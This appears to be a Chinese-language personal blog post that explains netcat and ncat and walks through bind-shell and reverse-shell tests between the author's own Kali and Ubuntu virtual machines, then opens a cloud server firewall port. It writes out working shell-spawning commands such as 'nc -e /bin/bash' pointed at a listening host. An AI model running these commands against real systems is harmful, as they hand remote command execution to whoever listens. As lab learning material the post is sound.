关于nc

nc 的全称为 NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat 可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。
事实上我们应该明确,常说的nc指的是netcat,但其实很可能和同叫nc的ncat混淆。
原始netcat(也就是nc),在2007年发布1.10稳定版本之后,就不再更新了。它的原始版本是一个类Unix程序,原作者叫做Hobbit。
而Ncat是Nmap项目的作者Fyodor,在原始Netcat之上新增功能二次开发的另一款强大工具,也就是说Netcat有的功能Ncat都具备,并且Ncat还有更多强大的功能,同时Ncat还在更新。
这里我先使用自己的虚拟机上的kali(server)上的ncat和ubuntu(client)上的netcat做交互测试
测试环境:
img
img

正向连接

作为服务端的kali开启监听端口,Ubuntu主动去连接并拿到shell
server:

nc -lvvp 2333 -e /bin/bash

client:

nc 172.16.80.134 2333

效果:
img
img

反向连接

作为客户端的Ubuntu主动打开监听端口,由kali将自身的shell反弹给ubuntu
client:

nc -lvp 6666

server:

nc -e /bin/bash 172.16.80.132 6666

效果:
img

服务器监听

结束了在虚拟机上的监听,试一下用自己的服务器监听
明确一点,开启的监听端口是服务器本身的端口,也就是说监听的是服务器自己的端口
首先我们要打开想要监听的端口
我的服务器是腾讯云的轻量型服务器,起初以为在后台的防火墙界面打开就可以了,后来发现并不是
img
后台打开但命令查看发现实际上并没有开放
img
这里涉及到查看端口的命令:

firewall-cmd --list-ports

也可以全部列出来:

firewall-cmd --list-all

正确的打开方法:

firewall-cmd --permanent --add-port=2333/tcp && firewall-cmd --reload

img
现在打开了,监听并访问该端口
img
ok了
参考:
linux服务器开放端口命令
Netcat - 你需要知道的一切
netcat和ncat

posted @ 2022-11-20 20:17  齐天大圣8799  阅读(92)  评论(0)    收藏  举报